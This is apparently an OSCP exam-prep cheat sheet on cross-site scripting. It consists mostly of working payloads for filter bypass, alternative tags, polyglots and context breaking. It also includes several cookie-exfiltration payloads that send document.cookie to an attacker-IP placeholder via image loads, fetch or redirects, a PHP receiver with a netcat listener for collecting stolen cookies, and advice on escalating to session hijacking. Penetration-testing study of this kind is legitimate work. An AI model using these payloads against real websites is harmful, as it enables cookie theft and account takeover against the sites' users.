<script>alert(1)</script>,<img src=x onerror=alert(1)> - Identify what’s blocked — Which characters, tags, keywords are filtered?
- Check encoding — Is output HTML-encoded, URL-encoded, or raw?
- Check HTTP headers — CSP, X-Content-Type-Options, X-XSS-Protection
Phase 2: Basic Bypasses
- Case variation —
<ScRiPt>,OnErRoR - No quotes —
<img src=x onerror=alert(1)> - No closing tag —
<img src=x onerror=alert(1)> - Whitespace injection — tabs, newlines, spaces
- HTML comments —
<scr<!---->ipt>
Phase 3: Encoding Bypasses
- HTML entities —
<,<,< - URL encoding —
%3C,%3E - Double URL encoding —
%253C - Unicode escapes —
\u003C - Hex encoding —
String.fromCharCode(0x3C) - Base64 —
data:text/html;base64,
Phase 4: Alternative Tags
- SVG —
<svg onload=alert(1)> - iframe —
<iframe src=javascript:alert(1)> - body —
<body onload=alert(1)> - marquee —
<marquee onstart=alert(1)> - details —
<details ontoggle=alert(1) open> - video/audio —
<video><source onerror=alert(1)> - input —
<input autofocus onfocus=alert(1)> - object/embed —
<object data=javascript:alert(1)> - math —
<math><mtext><table><mglyph><script>alert(1)</script></math>
Phase 5: Event Handler Variations
- onerror —
<img src=x onerror=alert(1)> - onload —
<svg onload=alert(1)> - onfocus —
<input autofocus onfocus=alert(1)> - onmouseover —
<div onmouseover=alert(1)> - ontoggle —
<details ontoggle=alert(1) open> - onanimationend —
<br onanimationend=alert(1)> - Try all 30+ event handlers — See section 8
Phase 6: Protocol Bypasses
- javascript: —
<a href=javascript:alert(1)> - data: —
<iframe src="data:text/html,<script>alert(1)</script>"> - vbscript: (IE) —
<a href=vbscript:msgbox(1)>
Phase 7: Polyglot Payloads
- Classic —
';alert(1);// - HTML/JS hybrid —
"><script>alert(1)</script> - Multi-context —
" autofocus onfocus=alert(1) // - Comment-based —
--><img src=x onerror=alert(1)><!-- - Tag-closing —
</title></script><svg/onload=alert(1)>
Phase 8: Advanced Techniques
- DOM-based XSS — Check
location.hash,document.referrer - CSP bypass — Check for permissive sources, inline script gaps
- Template injection — Check for
{{,${,<%processing - Second-order XSS — Store payload, trigger later
- Mutation XSS — Browser parses differently than filter
Phase 9: Verification
- Test in target browser — Chrome, Firefox, Edge
- Verify alert fires — Not just reflected
- Check for CSP blocking — Console errors
- Test cookie theft —
alert(document.cookie) - Test C2 callback —
img src=http://YOUR_IP/?c=+ cookie
12. Ultimate Polyglot Payloads
Payload #1: The Universal Context Breaker
';alert(1);//
Works in: JS string (single quote), JS code, HTML attribute
Payload #2: The HTML Attribute Breaker
" onfocus="alert(1) autofocus x="
Works in: Double-quoted HTML attribute context
Payload #3: The Multi-Parser Polyglot
--><svg/onload=alert(1)><!--
Works in: HTML body, inside HTML comments
Payload #4: The JavaScript-HTML Hybrid
"><script>alert(1)</script><!--
Works in: HTML attribute (double quote), HTML body
Payload #5: The Complete Context Closer
</title></textarea></style></script><svg/onload=alert(1)>
Works in: When input might be inside any of these tags
Payload #6: The Event Handler Chain
" autofocus onfocus=alert(1) onclick=alert(2) onmouseover=alert(3) x="
Works in: Double-quoted attribute, multiple trigger methods
Payload #7: The Data URI Bomb
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>
Works in: HTML body, when script tags are blocked but iframes allowed
Payload #8: The SVG Everything
<svg/onload=alert(1)>
Works in: HTML body, minimal characters, no quotes needed
Payload #9: The Template Literal Breaker
`${alert(1)}`
Works in: JavaScript template literal context
Payload #10: The Grand Polyglot
'">><script>alert(1)</script>
Works in:
- Single-quoted string: closes with
' - Double-quoted string: closes with
" - HTML attribute: closes with
> - HTML body: executes
<script>
13. OSCP-Specific Tips
Common OSCP Filter Patterns
-
Simple regex filters — Many OSCP machines use basic PHP/Python regex. Case variation and encoding usually work.
-
Custom WAF rules — Some machines have ModSecurity-like rules. Polyglots and alternative tags are your friends.
-
Output encoding — If output is HTML-encoded, focus on attribute context breaks and JavaScript context injection.
-
CSP headers — Check
Content-Security-Policy. Ifscript-src 'self'is set, inline scripts won’t work. Use event handlers instead.
OSCP Payload Priority Order
When you find an XSS vulnerability, try payloads in this order:
<script>alert(1)</script>— Basic test<ScRiPt>alert(1)</ScRiPt>— Case variation<img src=x onerror=alert(1)>— Event handler<svg onload=alert(1)>— Alternative tag"><script>alert(1)</script>— Attribute break';alert(1);//— JS string break<img src=x onerror=alert(document.cookie)>— Cookie theft<img src=x onerror="document.location='http://YOUR_IP/?c='+document.cookie">— C2 callback
OSCP Cookie Stealing Payloads
<!-- Basic cookie alert: -->
<script>alert(document.cookie)</script>
<!-- Cookie exfiltration via image: -->
<img src=x onerror="document.location='http://YOUR_ATTACKER_IP/?c='+document.cookie">
<!-- Cookie exfiltration via script: -->
<script>new Image().src='http://YOUR_ATTACKER_IP/?c='+document.cookie;</script>
<!-- Cookie exfiltration via SVG: -->
<svg/onload="new Image().src='http://YOUR_ATTACKER_IP/?c='+document.cookie">
<!-- Cookie exfiltration with fetch (modern): -->
<script>fetch('http://YOUR_ATTACKER_IP/?c='+document.cookie)</script>
OSCP C2 Server Setup
# Simple Python HTTP server to receive cookies:
python3 -m http.server 80
# Or use netcat:
nc -lvnp 80
# Or use a simple PHP receiver:
# receiver.php:
<?php
$cookie = $_GET['c'];
file_put_contents('cookies.txt', $cookie . "\n", FILE_APPEND);
?>
Common OSCP Machines with XSS
| Machine | XSS Type | Bypass Technique |
|---|---|---|
| Opti | Reflected XSS | Basic <script> tag |
| Hackable | Reflected XSS | Filter bypass with encoding |
| Frost | Stored XSS | No filter, direct injection |
| Citrix | Reflected XSS | Context-breaking required |
| Help | Reflected XSS | Attribute context break |
| Beast | Reflected XSS | WAF bypass with polyglot |
| SneakySites | Reflected XSS | Multiple bypass techniques |
| Tiny | Reflected XSS | Basic injection |
| Authority | Reflected XSS | Filter bypass |
| Firm | Reflected XSS | Context analysis required |
OSCP Exam Strategy for XSS
- Always check for XSS first — It’s often the easiest client-side attack vector.
- Use Burp Suite — Intercept requests, modify parameters, test payloads systematically.
- Check all parameters — GET, POST, cookies, headers, URL path.
- Check DOM-based XSS — Look at JavaScript source for
location.hash,document.write,innerHTML. - Check for stored XSS — Comment forms, profile fields, any user-input storage.
- Use the right payload for the context — Don’t spam random payloads; analyze the context first.
- Document everything — Screenshots of the alert, the payload, and the cookie theft.
- Escalate to session hijacking — Once you have the cookie, import it into Burp’s Cookie Editor.
DOM-Based XSS Checklist
// Dangerous sinks to look for:
document.write(USER_INPUT)
document.writeln(USER_INPUT)
element.innerHTML = USER_INPUT
element.outerHTML = USER_INPUT
element.insertAdjacentHTML('beforeend', USER_INPUT)
eval(USER_INPUT)
setTimeout(USER_INPUT)
setInterval(USER_INPUT)
new Function(USER_INPUT)
// Common sources:
location.hash
location.search
location.href
document.URL
document.referrer
window.name
Quick Reference: Most Reliable OSCP Payloads
<!-- #1 Most reliable: -->
<script>alert(1)</script>
<!-- #2 When script is blocked: -->
<svg onload=alert(1)>
<!-- #3 When tags are blocked: -->
"><script>alert(1)</script>
<!-- #4 When in JS string: -->
';alert(1);//
<!-- #5 When in attribute: -->
" onfocus="alert(1) autofocus x="
<!-- #6 Cookie theft: -->
<img src=x onerror="document.location='http://ATTACKER_IP/?c='+document.cookie">
Appendix A: Character Encoding Quick Reference
ASCII to Various Encodings
| Char | ASCII | Decimal | Hex | URL | HTML Named |
|---|---|---|---|---|---|
< |
60 | < | < | %3C | < |
> |
62 | > | > | %3E | > |
" |
34 | " | " | %22 | " |
' |
39 | ' | ' | %27 | ' |
& |
38 | & | & | %26 | & |
/ |
47 | / | / | %2F | — |
\ |
92 | \ | \ | %5C | — |
` |
96 | ` | ` | %60 | — |
= |
61 | = | = | %3D | — |
( |
40 | ( | ( | %28 | — |
) |
41 | ) | ) | %29 | — |
: |
58 | : | : | %3A | — |
; |
59 | ; | ; | %3B | — |
, |
44 | , | , | %2C | — |
. |
46 | . | . | %2E | — |
- |
45 | - | - | %2D | — |
_ |
95 | _ | _ | %5F | — |
| space | 32 | %20 | |||
| tab | 9 | %09 | — | ||
| newline | 10 | %0A | — | ||
| CR | 13 | %0D | — |
Appendix B: Browser Compatibility Notes
Event Handler Browser Support
| Event Handler | Chrome | Firefox | Safari | Edge | IE |
|---|---|---|---|---|---|
onload |
✅ | ✅ | ✅ | ✅ | ✅ |
onerror |
✅ | ✅ | ✅ | ✅ | ✅ |
onfocus |
✅ | ✅ | ✅ | ✅ | ✅ |
onmouseover |
✅ | ✅ | ✅ | ✅ | ✅ |
onclick |
✅ | ✅ | ✅ | ✅ | ✅ |
ontoggle |
✅ | ✅ | ✅ | ✅ | ❌ |
onanimationend |
✅ | ✅ | ✅ | ✅ | ❌ |
onpointerover |
✅ | ✅ | ✅ | ✅ | ❌ |
onpageshow |
✅ | ✅ | ✅ | ✅ | ✅ |
Protocol Browser Support
| Protocol | Chrome | Firefox | Safari | Edge | IE |
|---|---|---|---|---|---|
javascript: |
✅ | ✅ | ✅ | ✅ | ✅ |
data: |
✅ | ✅ | ✅ | ✅ | ✅ |
vbscript: |
❌ | ❌ | ❌ | ❌ | ✅ |
Appendix C: Tools and Resources
Testing Tools
- Burp Suite — Intercept and modify requests, test payloads
- XSStrike — Automated XSS detection and payload generation
- Dalfox — Fast XSS scanning tool
- xsleak — DOM-based XSS detection
- Browser console — Test JavaScript payloads directly
Learning Resources
- PortSwigger XSS Cheat Sheet
- OWASP XSS Filter Evasion Cheat Sheet
- MDN HTML Events
- PayloadsAllTheThings - XSS
This study note is designed for OSCP exam preparation. Always practice in authorized environments only.